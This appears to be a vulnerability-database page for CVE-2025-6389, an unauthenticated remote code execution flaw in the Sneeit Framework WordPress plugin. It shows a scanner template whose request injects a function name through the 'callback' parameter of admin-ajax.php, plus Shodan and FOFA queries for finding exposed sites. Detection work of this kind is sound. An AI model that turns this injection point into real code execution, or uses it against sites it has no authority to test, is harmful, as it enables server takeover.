Sneeit WP Social WordPress Plugin - Unauthenticated RCE via call_user_func
CVE-2025-6389
Verified
Description
The Sneeit Framework plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 8.3 via the sneeit_articles_pagination_callback() function. This is due to the function accepting user input and then passing that through call_user_func(). This makes it possible for unauthenticated attackers to execute code on the server which can be leveraged to inject backdoors or, for example, create new administrative user accounts.
Severity
Critical
CVSS Score
9.8
Exploit Probability
44%
Affected Product
sneeit-framework
Published Date
August 3, 2026
Template Author
dhiyaneshdk
CVE-2025-6389.yaml
id: CVE-2025-6389
info:
name: Sneeit WP Social WordPress Plugin - Unauthenticated RCE via call_user_func
author: DhiyaneshDk
severity: critical
description: |
The Sneeit Framework plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 8.3 via the sneeit_articles_pagination_callback() function. This is due to the function accepting user input and then passing that through call_user_func(). This makes it possible for unauthenticated attackers to execute code on the server which can be leveraged to inject backdoors or, for example, create new administrative user accounts.
impact: |
Unauthenticated attackers can execute arbitrary code remotely, potentially injecting backdoors or creating new admin accounts.
remediation: |
Update to the latest version beyond 8.3.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2025-6389
- https://www.cve.org/CVERecord?id=CVE-2025-6389
- https://github.com/Nxploited/CVE-2025-6389
- https://github.com/itsismarcos/SneeitScanner-CVE-2025-6389
- https://wpscan.com/vulnerability/CVE-2025-6389
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-6389
cwe-id: CWE-94
epss-score: 0.44442
epss-percentile: 0.98637
metadata:
verified: true
max-request: 1
vendor: sneeit
product: sneeit-framework
framework: wordpress
fofa-query: '"sneeit_articles_pagination"'
shodan-query: http.html:"/wp-content/plugins/wp-social/"
publicwww-query: "/wp-content/plugins/wp-social/"
tags: cve,cve2025,wordpress,wp-plugin,sneeit,rce,unauth,vkev,intrusive,vuln,file-upload
variables:
marker: "{{randstr}}"
http:
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=sneeit_articles_pagination&callback=var_dump&args=%5B%22{{marker}}%22%5D
matchers-condition: and
matchers:
- type: word
part: body
words:
- "array(1)"
- "{{marker}}"
condition: and
- type: status
status:
- 200
extractors:
- type: regex
part: body
regex:
- 'string\(\d+\) "([^"]+)"'
group: 1
# digest: 4b0a004830460221008c1aabc034b4073bb0a0031d9d27ad249309aeea34218d1e34387cde3e7ea26d022100fcb0ff8a4cce9aef0011dcc91ef30e6aa47f48fcc2009a0214ba99c02b477556:922c64590222798bb761d5b6d8e729509.8Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE ID:
cve-2025-6389
CWE ID:
cwe-94
Remediation Steps
Update to the latest version beyond 8.3.